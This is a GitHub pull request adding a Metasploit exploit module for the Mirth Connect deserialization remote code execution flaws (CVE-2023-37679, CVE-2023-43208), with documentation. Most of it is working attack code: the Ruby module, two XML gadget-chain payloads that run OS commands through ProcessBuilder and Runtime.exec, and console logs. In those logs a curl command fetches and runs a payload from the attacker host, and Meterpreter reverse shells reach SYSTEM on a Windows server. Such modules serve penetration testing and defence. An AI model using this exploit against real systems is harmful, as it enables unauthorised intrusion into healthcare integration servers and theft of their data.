-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add an exploit for Mirth Connect RCE (CVE-2023-43208 and CVE-2023-37679) #18755
Changes from 4 commits
530d58d
9e41825
8a793dd
b5de25a
577898d
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change | ||||||
---|---|---|---|---|---|---|---|---|
@@ -0,0 +1,119 @@ | ||||||||
## Vulnerable Application | ||||||||
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability | ||||||||
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the | ||||||||
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later, | ||||||||
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed | ||||||||
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was | ||||||||
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0. | ||||||||
|
||||||||
### Setup (Linux with Docker) | ||||||||
|
||||||||
1. Run the application in docker: `docker run --name mirth-connect --rm -d -p 8443:8443 nextgenhealthcare/connect:4.4.0` | ||||||||
|
||||||||
### Setup (Windows) | ||||||||
|
||||||||
1. Download the desired release from the [GitHub page][1] | ||||||||
2. Install a Java runtime | ||||||||
3. Install Mirth Connect | ||||||||
1. Accept all default values for every stage of the installation | ||||||||
|
||||||||
## Verification Steps | ||||||||
|
||||||||
1. Follow the steps from the Setup section to create a test instance | ||||||||
2. Start msfconsole | ||||||||
3. Run: `use exploit/multi/http/mirth_connect_cve_2023_43208` | ||||||||
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options | ||||||||
5. Run the module | ||||||||
|
||||||||
## Options | ||||||||
|
||||||||
## Scenarios | ||||||||
|
||||||||
### Mirth Connect 4.4.0 in Docker | ||||||||
|
||||||||
Note that Python is not available in the docker container, so no Python payloads will work. | ||||||||
|
||||||||
``` | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128 | ||||||||
RHOSTS => 192.168.159.128 | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command | ||||||||
TARGET => Unix Command | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http | ||||||||
Display all 106 possibilities? (y or n) | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp | ||||||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128 | ||||||||
LHOST => 192.168.159.128 | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true | ||||||||
VERBOSE => true | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit | ||||||||
|
||||||||
[*] Command to run on remote host: curl -so /tmp/PFYkPcUX http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ; chmod +x /tmp/PFYkPcUX; /tmp/PFYkPcUX & | ||||||||
[*] Fetch Handler listening on 192.168.159.128:8080 | ||||||||
[*] HTTP server started | ||||||||
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ | ||||||||
[*] Started reverse TCP handler on 192.168.159.128:4444 | ||||||||
[*] Running automatic check ("set AutoCheck false" to disable) | ||||||||
[*] Detected target version: 4.1.1 | ||||||||
[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679. | ||||||||
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command) | ||||||||
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ | ||||||||
[*] Sending payload to 192.168.159.128 (curl/7.74.0) | ||||||||
[*] Transmitting intermediate stager...(126 bytes) | ||||||||
[*] Sending stage (3045380 bytes) to 192.168.159.128 | ||||||||
[*] Meterpreter session 6 opened (192.168.159.128:4444 -> 192.168.159.128:49360) at 2024-01-26 17:11:37 -0500 | ||||||||
|
||||||||
meterpreter > getuid | ||||||||
Server username: mirth | ||||||||
meterpreter > sysinfo | ||||||||
Computer : 10.0.2.100 | ||||||||
OS : Debian 11.4 (Linux 6.6.12-200.fc39.x86_64) | ||||||||
Architecture : x64 | ||||||||
BuildTuple : x86_64-linux-musl | ||||||||
Meterpreter : x64/linux | ||||||||
meterpreter > pwd | ||||||||
/opt/connect | ||||||||
meterpreter > | ||||||||
``` | ||||||||
|
||||||||
### Mirth Connect 4.4.0 on Windows Server 2019 | ||||||||
|
||||||||
``` | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10 | ||||||||
RHOSTS => 192.168.159.10 | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command | ||||||||
TARGET => Windows Command | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp | ||||||||
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128 | ||||||||
LHOST => 192.168.159.128 | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true | ||||||||
VERBOSE => true | ||||||||
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run | ||||||||
|
||||||||
[*] Powershell command length: 4418 | ||||||||
[*] Started reverse TCP handler on 192.168.159.128:4444 | ||||||||
[*] Running automatic check ("set AutoCheck false" to disable) | ||||||||
[*] Detected target version: 4.4.0 | ||||||||
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208. | ||||||||
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command) | ||||||||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Suggested change
|
||||||||
[*] Sending stage (201798 bytes) to 192.168.159.10 | ||||||||
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500 | ||||||||
|
||||||||
meterpreter > getuid | ||||||||
Server username: NT AUTHORITY\SYSTEM | ||||||||
meterpreter > sysinfo | ||||||||
Computer : DC | ||||||||
OS : Windows Server 2019 (10.0 Build 17763). | ||||||||
Architecture : x64 | ||||||||
System Language : en_US | ||||||||
Domain : MSFLAB | ||||||||
Logged On Users : 13 | ||||||||
Meterpreter : x64/windows | ||||||||
meterpreter > pwd | ||||||||
C:\Program Files\Mirth Connect | ||||||||
meterpreter > | ||||||||
``` | ||||||||
|
||||||||
[1]: https://github.com/nextgenhealthcare/connect/releases | ||||||||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,243 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Mirth Connect Deserialization RCE', | ||
'Description' => %q{ | ||
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability | ||
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the | ||
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later, | ||
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed | ||
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was | ||
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0. | ||
}, | ||
'Author' => [ | ||
'r00t', | ||
'Naveen Sunkavally', | ||
'Spencer McIntyre' | ||
], | ||
'References' => [ | ||
['CVE', '2023-37679'], | ||
['URL', 'https://www.ihteam.net/advisory/mirth-connect/'], | ||
['CVE', '2023-43208'], | ||
['URL', 'https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/'], | ||
['URL', 'https://www.horizon3.ai/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/'], | ||
], | ||
'DisclosureDate' => '2023-10-25', | ||
'License' => MSF_LICENSE, | ||
'Platform' => ['unix', 'linux', 'win'], | ||
'Arch' => [ARCH_CMD], | ||
'Privileged' => false, | ||
'Targets' => [ | ||
[ | ||
'Unix Command', | ||
{ | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => ARCH_CMD | ||
} | ||
], | ||
[ | ||
'Windows Command', | ||
{ | ||
'Platform' => 'win', | ||
'Arch' => ARCH_CMD, | ||
'Payload' => { 'Space' => 8191, 'DisableNops' => true } | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I was wondering where the 8191 was coming from and after reading the definition below it made me realize I've likely written a number of modules that were subject to this limitation but did not include it. Good to know. Command prompt (Cmd. exe) command-line string limitation
|
||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'RPORT' => 8443, | ||
'SSL' => true | ||
}, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Base path', '/']) | ||
]) | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path) | ||
) | ||
return CheckCode::Unknown('HTTP fingerprinting failed.') if res.nil? | ||
|
||
unless res.get_html_document&.xpath('//head/title')&.first&.text =~ /Mirth Connect/ | ||
return CheckCode::Safe('The target is not Mirth Connect.') | ||
end | ||
|
||
target_version = get_target_version | ||
return CheckCode::Detected('Failed to detect the target version.') unless target_version | ||
|
||
vprint_status("Detected target version: #{target_version}") | ||
|
||
if target_version <= Rex::Version.new('4.3.0') | ||
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-37679.") | ||
elsif target_version <= Rex::Version.new('4.4.0') | ||
return CheckCode::Appears("Version #{target_version} is affected by CVE-2023-43208.") | ||
end | ||
|
||
CheckCode::Safe("Version #{target_version} is not affected.") | ||
end | ||
|
||
def get_target_version | ||
return @target_version if @target_version | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'api/server/version'), | ||
'headers' => { | ||
'X-Requested-With' => 'OpenAPI' | ||
} | ||
) | ||
return nil unless res&.code == 200 | ||
return nil unless res.body =~ /(\d+(\.\d+)*)/ | ||
zeroSteiner marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
@target_version = Rex::Version.new(Regexp.last_match(1)) | ||
@target_version | ||
end | ||
|
||
def exploit | ||
target_version = get_target_version | ||
print_status("Executing #{payload_instance.refname} (#{target.name})") | ||
|
||
if target_version <= Rex::Version.new('4.3.0') | ||
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability | ||
# which did not implement the deny-list logic that was bypassed by the newer chain | ||
execute_command_cve_2023_37679(payload.encoded) | ||
elsif target_version <= Rex::Version.new('4.4.0') | ||
execute_command_cve_2023_43208(payload.encoded) | ||
jheysel-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
else | ||
fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.") | ||
end | ||
end | ||
|
||
def execute_command_cve_2023_37679(cmd, _opts = {}) | ||
# Tested on 4.1.1 and 4.3.0 | ||
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) | ||
jheysel-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
<sorted-set> | ||
<string>#{rand_text_alphanumeric(4..12)}</string> | ||
<dynamic-proxy> | ||
<interface>java.lang.Comparable</interface> | ||
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"> | ||
<target class="java.lang.ProcessBuilder"> | ||
<command> | ||
<string>#{target['Platform'] == 'win' ? 'cmd.exe' : 'sh'}</string> | ||
<string>#{target['Platform'] == 'win' ? '/c' : '-c'}</string> | ||
<string>#{cmd.encode(xml: :text)}</string> | ||
</command> | ||
</target> | ||
<methodName>start</methodName> | ||
<eventTypes/> | ||
</handler> | ||
</dynamic-proxy> | ||
</sorted-set> | ||
XML | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'api/users'), | ||
'ctype' => 'application/xml', | ||
'headers' => { | ||
'X-Requested-With' => 'OpenAPI' | ||
}, | ||
'data' => xml | ||
}) | ||
|
||
res&.code == 500 | ||
end | ||
|
||
def execute_command_cve_2023_43208(cmd, _opts = {}) | ||
if target['Platform'] == 'win' | ||
cmd = "cmd.exe /c \"#{cmd}\"" | ||
else | ||
cmd = "sh -c $@|sh . echo #{cmd}" | ||
jheysel-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
end | ||
|
||
# Tested on 4.1.1, 4.4.0 | ||
xml = Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0) | ||
<sorted-set> | ||
<string>#{rand_text_alphanumeric(4..12)}</string> | ||
<dynamic-proxy> | ||
<interface>java.lang.Comparable</interface> | ||
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler"> | ||
<target class="org.apache.commons.collections4.functors.ChainedTransformer"> | ||
<iTransformers> | ||
<org.apache.commons.collections4.functors.ConstantTransformer> | ||
<iConstant class="java-class">java.lang.Runtime</iConstant> | ||
</org.apache.commons.collections4.functors.ConstantTransformer> | ||
<org.apache.commons.collections4.functors.InvokerTransformer> | ||
<iMethodName>getMethod</iMethodName> | ||
<iParamTypes> | ||
<java-class>java.lang.String</java-class> | ||
<java-class>[Ljava.lang.Class;</java-class> | ||
</iParamTypes> | ||
<iArgs> | ||
<string>getRuntime</string> | ||
<java-class-array/> | ||
</iArgs> | ||
</org.apache.commons.collections4.functors.InvokerTransformer> | ||
<org.apache.commons.collections4.functors.InvokerTransformer> | ||
<iMethodName>invoke</iMethodName> | ||
<iParamTypes> | ||
<java-class>java.lang.Object</java-class> | ||
<java-class>[Ljava.lang.Object;</java-class> | ||
</iParamTypes> | ||
<iArgs> | ||
<null/> | ||
<object-array/> | ||
</iArgs> | ||
</org.apache.commons.collections4.functors.InvokerTransformer> | ||
<org.apache.commons.collections4.functors.InvokerTransformer> | ||
<iMethodName>exec</iMethodName> | ||
<iParamTypes> | ||
<java-class>java.lang.String</java-class> | ||
</iParamTypes> | ||
<iArgs> | ||
<string>#{cmd.encode(xml: :text)}</string> | ||
</iArgs> | ||
</org.apache.commons.collections4.functors.InvokerTransformer> | ||
</iTransformers> | ||
</target> | ||
<methodName>transform</methodName> | ||
<eventTypes> | ||
<string>compareTo</string> | ||
</eventTypes> | ||
</handler> | ||
</dynamic-proxy> | ||
</sorted-set> | ||
XML | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'api/users'), | ||
'ctype' => 'application/xml', | ||
'headers' => { | ||
'X-Requested-With' => 'OpenAPI' | ||
}, | ||
'data' => xml | ||
}) | ||
|
||
res&.code == 500 | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.